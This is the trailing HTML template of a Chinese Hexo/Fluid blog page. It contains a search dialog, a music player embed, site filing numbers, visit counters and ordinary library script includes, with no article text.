  <div class="toc-body" id="toc-body"></div>
</div>

      </div>
    
  </div>
</div>

<!-- Custom -->


    

    
      <a id="scroll-top-button" aria-label="TOP" href="#" role="button">
        <i class="iconfont icon-arrowup" aria-hidden="true"></i>
      </a>
    

    
      <div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
     aria-hidden="true">
  <div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header text-center">
        <h4 class="modal-title w-100 font-weight-bold">搜索</h4>
        <button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body mx-3">
        <div class="md-form mb-5">
          <input type="text" id="local-search-input" class="form-control validate">
          <label data-error="x" data-success="v"
                 for="local-search-input">关键词</label>
        </div>
        <div class="list-group" id="local-search-result"></div>
      </div>
    </div>
  </div>
</div>
    

    
      <div class="col-lg-7 mx-auto nopadding-x-md">
        <div class="container custom mx-auto">
          <meting-js server="netease" type="playlist" id="5413938648" fixed="true" theme="#aa55ff"></meting-js>
        </div>
      </div>
    
  </main>

  <footer class="text-center mt-5 py-3">
  <div class="footer-content">
     <a href="https://hexo.io" target="_blank" rel="nofollow noopener"><span>使用Hexo框架</span></a> <i class="iconfont icon-love"></i> <a href="https://github.com/fluid-dev/hexo-theme-fluid" target="_blank" rel="nofollow noopener"><span>精品Fluid主题</span></a><br> <span id="timeDate">天数载入中</span><span id="times">...</span><br> 
  </div>
  
  <div class="statistics">
    
    

    
      
        <!-- LeanCloud 统计PV -->
        <span id="leancloud-site-pv-container" style="display: none">
            总访问量 
            <span id="leancloud-site-pv"></span>
             次
          </span>
      
      
        <!-- LeanCloud 统计UV -->
        <span id="leancloud-site-uv-container" style="display: none">
            总访客数 
            <span id="leancloud-site-uv"></span>
             人
          </span>
      

    
  </div>


  
  <!-- 备案信息 -->
  <div class="beian">
    <span>
      <a href="http://beian.miit.gov.cn/" target="_blank" rel="nofollow noopener">
        蜀ICP备2021029058号
      </a>
    </span>
    
      
        <span>
          <a
            href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=51011202000479"
            rel="nofollow noopener"
            class="beian-police"
            target="_blank"
          >
            
              <span style="visibility: hidden; width: 0">|</span>
              <img src="/img/beian.png" srcset="/img/loading.gif" lazyload alt="police-icon"/>
            
            <span>川公网安备 51011202000479号</span>
          </a>
        </span>
      
    
  </div>


  
</footer>


  <!-- SCRIPTS -->
  
  <script  src="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.js" ></script>
  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.css" />

  <script>
    NProgress.configure({"showSpinner":false,"trickleSpeed":100})
    NProgress.start()
    window.addEventListener('load', function() {
      NProgress.done();
    })
  </script>


<script  src="https://cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js" ></script>
<script  src="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/js/bootstrap.min.js" ></script>
<script  src="/js/events.js" ></script>
<script  src="/js/plugins.js" ></script>

<!-- Plugins -->


  <script  src="/js/local-search.js" ></script>



  
    <script  src="/js/img-lazyload.js" ></script>
  



  



  
    <script  src="https://cdn.jsdelivr.net/npm/tocbot@4/dist/tocbot.min.js" ></script>
  
  
    <script  src="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.js" ></script>
  
  
    <script  src="https://cdn.jsdelivr.net/npm/anchor-js@4/anchor.min.js" ></script>
  
  
    <script defer src="https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js" ></script>
  




  <script defer src="/js/leancloud.js" ></script>



  <script  src="https://cdn.jsdelivr.net/npm/typed.js@2/lib/typed.min.js" ></script>
  <script>
    (function (window, document) {
      var typing = Fluid.plugins.typing;
      var title = document.getElementById('subtitle').title;
      
      typing(title)
      
    })(window, document);
  </script>









  <script  src="https://cdn.jsdelivr.net/npm/mermaid@8/dist/mermaid.min.js" ></script>
  <script>
    if (window.mermaid) {
      mermaid.initialize({"theme":"default"});
    }
  </script>




  

  

  

  

  

  




  
<script src="//cdn.jsdelivr.net/npm/aplayer@1.10.0/dist/APlayer.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/meting@2.0.1/dist/Meting.min.js"></script>
<script src="/xm_custom/custom.js"></script>



<!-- 主题的启动项 保持在最底部 -->
<script  src="/js/boot.js" ></script>


</body>
</html>
